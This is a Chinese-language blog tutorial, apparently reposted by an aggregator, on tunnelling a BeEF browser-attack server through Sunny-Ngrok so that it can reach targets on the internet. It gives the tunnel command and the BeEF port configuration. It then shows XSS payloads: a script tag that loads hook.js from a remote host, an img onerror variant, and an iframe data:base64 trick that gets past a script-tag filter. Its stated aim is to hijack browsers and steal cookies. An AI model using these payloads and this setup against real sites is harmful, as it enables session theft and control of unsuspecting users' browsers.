Beef-XSS+Sunny-Ngrok实现内网穿透

Posted 疯猫网络

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Beef-XSS+Sunny-Ngrok实现内网穿透相关的知识,希望对你有一定的参考价值。


Beef-XSS框架无疑是当今最强大的浏览器攻击框架,网络上也存在很多关于它的教程,但是大部分都是基于内网环境下的教学,这就使得攻击效果大打折扣,另外大部分XSS教程只是实现一个aler(1)便证明达到了效果,而Beef-XSS要保证完整效果就要加载hook.js文件,在存在一定过滤的情况下,这是有一定难度的。于是便有了今天的文章,希望对大家有所帮助。

0×00 实验工具


kali linux v2.0

beef-xss

sunny-ngrok: http://www.ngrok.cc

0×01 开通tcp代理,并下载客户端进行内网穿透

都是老司机注册这里就不说了,直接讲如何开通tcp代理。

点击管理面板左侧栏里的隧道管理—>开通隧道,点击右下角那个免费的点击开通,当然如果你觉得想要稳定的可以选择付费版:


Beef-XSS+Sunny-Ngrok实现内网穿透


接下来我们要对隧道进行配置,选择tcp协议,隧道名称和端口号自己填,如果端口号已经被占用,点击确定后会有提示:


Beef-XSS+Sunny-Ngrok实现内网穿透


注意这里远程端口号要和本地端口号保持一致,正常情况下可以不用这么填,但是hook.js在发送请求的时候会在后面自动追加端口号,造成无法成功请求,所以我就干脆设置成一样的了。

下图这个clientid要保存好等下连接的时候要用。


Beef-XSS+Sunny-Ngrok实现内网穿透



具体命令是:

./sunny clientid 隧道id


Beef-XSS+Sunny-Ngrok实现内网穿透


0×02 自定义监听端口,开启beef-xss

在启动beef-xss之前,我么们要修改下配置文件中的端口。配置文件位置:/etc/beef-xss/config.yaml。

用vim打开修改port后面的端口数就好了:


Beef-XSS+Sunny-Ngrok实现内网穿透


现在我们直接启动beef-xss就好了,这个就很简单了直接

输入beef-xss回车:


Beef-XSS+Sunny-Ngrok实现内网穿透


接下来我们只要把hook.js脚本想办法加载到目标网站就可以实现对浏览器的攻击了,最起码get个cookie还是不成问题的。

0×03 绕过脚本过滤,实现基于beef的xss攻击

一般来说我们要加载一个js文件只需加入下边一行代码就可以:


<script type="text/javascript" src="http://yoururl.com/hook.js"></script>

但今天准备的网站对<script>的标签进行了过滤,不能实现直接注入:


Beef-XSS+Sunny-Ngrok实现内网穿透

Beef-XSS+Sunny-Ngrok实现内网穿透


在这种情况下想调用个方法还是很简单的,比如alert(1);只需用img标签的onerror就可实现,代码如下:


<img src=x onerror=alert(1); />

Beef-XSS+Sunny-Ngrok实现内网穿透


可当我们想要加载的一个js文件时,这样的方法是无法实现的,于是想到了利用iframe的特性,来加密脚本从而实现加载。代码如下:


<iframe src="data:text/html;base64,这里加你的经过base64加密过的脚本代码"></iframe>

Beef-XSS+Sunny-Ngrok实现内网穿透


执行成功,如图我们控制台已经成功连接:



至此,就可以进行深入的浏览器攻击了!



以上是关于Beef-XSS+Sunny-Ngrok实现内网穿透的主要内容,如果未能解决你的问题,请参考以下文章

Ngrok实现内网穿透

NUC980开源项目40-PLC远程下载/内网穿透(非技术)

免费的几款内网穿透工具

免费的几款内网穿透工具

免费的几款内网穿透工具

免费的几款内网穿透工具